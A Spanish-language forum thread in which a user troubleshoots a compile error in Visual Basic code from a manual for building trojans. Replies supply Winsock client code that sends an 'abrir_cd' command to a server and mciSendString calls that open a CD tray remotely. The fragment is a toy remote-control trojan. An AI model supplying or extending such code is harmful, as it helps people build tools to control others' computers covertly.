error de compilacion en troyano

[x3non]

este codigo es de un manual para crear troyanos.es una parte del codigo completo

Private Sub Command10_Clic k()
Winsock1.SendData "abrir_CD"
End Sub

cuando voy a pasarlo a .exe me dice error de compilacion en lo que esta en negrita (.SendData)

[En3rgy]

Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnStr ing As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

mciSendString "set Cdaudio door open", returnstring, 127, 0
mciSendString "set Cdaudio door closed", returnstring, 127,0

Lo unico que este codec solo habriria el lector D que es el principal, y si tienes mas de 1 no funcionaria

[Ther0x]

este codigo es de un manual para crear troyanos.es una parte del codigo completo

Private Sub Command10_Clic k()
Winsock1.SendData "abrir_CD"
End Sub

cuando voy a pasarlo a .exe me dice error de compilacion en lo que esta en negrita (.SendData)

¿Que dice el error?

SendData está bien puesto, solo se me ocurre que igual el estado del winsock no permite enviar datos y lo tienes que cambiar antes.

Saludos

[>> s E t H <<]

tal vez no conectaste el winsock

[ziBboh]

Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnStr ing As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

mciSendString "set Cdaudio door open", returnstring, 127, 0
mciSendString "set Cdaudio door closed", returnstring, 127,0

Lo unico que este codec solo habriria el lector D que es el principal, y si tienes mas de 1 no funcionaria

COPY-PASTE

Esto no tiene nada que ver ahi, esa parte de codigo va en el servidor ya que el Cliente manda "abrir_cd", el  error es en el cliente.

En cuanto a esto

tal vez no conectaste el winsock

No entiendo esto brother! como que no conectaste el wsock, es error de compilacion, si no compila no se ejecuta, si lo dices por que falte el codigo de la conexion, aqui te dejo lo que debe de llevar:

Código:

Private Sub Form_Load()
    Winsock1.Protocol = sckTCPProtocol      'Es el protocolo de transferencia de la conexion
    Winsock1.RemoteHost = "127.0.0.1"       'Es la ip a la que quieres conectarlo
    Winsock1.RemotePort = "999"             'Es el puerto que va a usar
    Winsock1.Connect                        'Conecta el cliente con el servidor
End Sub

Private Sub Command1_Click()                'Al pulsar el boton1
    Winsock1.SendData "abrir_cd"            'Envia la cadena a el servidor
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 'Funcion encargada de establecer la conexion
    Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'Funcion que recibe respuesta del revidor remoto
Dim Recibido As String                      'Se declara la varible
    Winsock1.GetData Recibido               'El sock recibe respuesta del servidor
    Text1.Text = Text1.Text + Recibido      'Acumula las respuestas en un TextBox
End Sub

Creo que eso es todo, si me falto algo me dicen. Checalo bien, a veces si escribes algo mal, se va todo a la mier..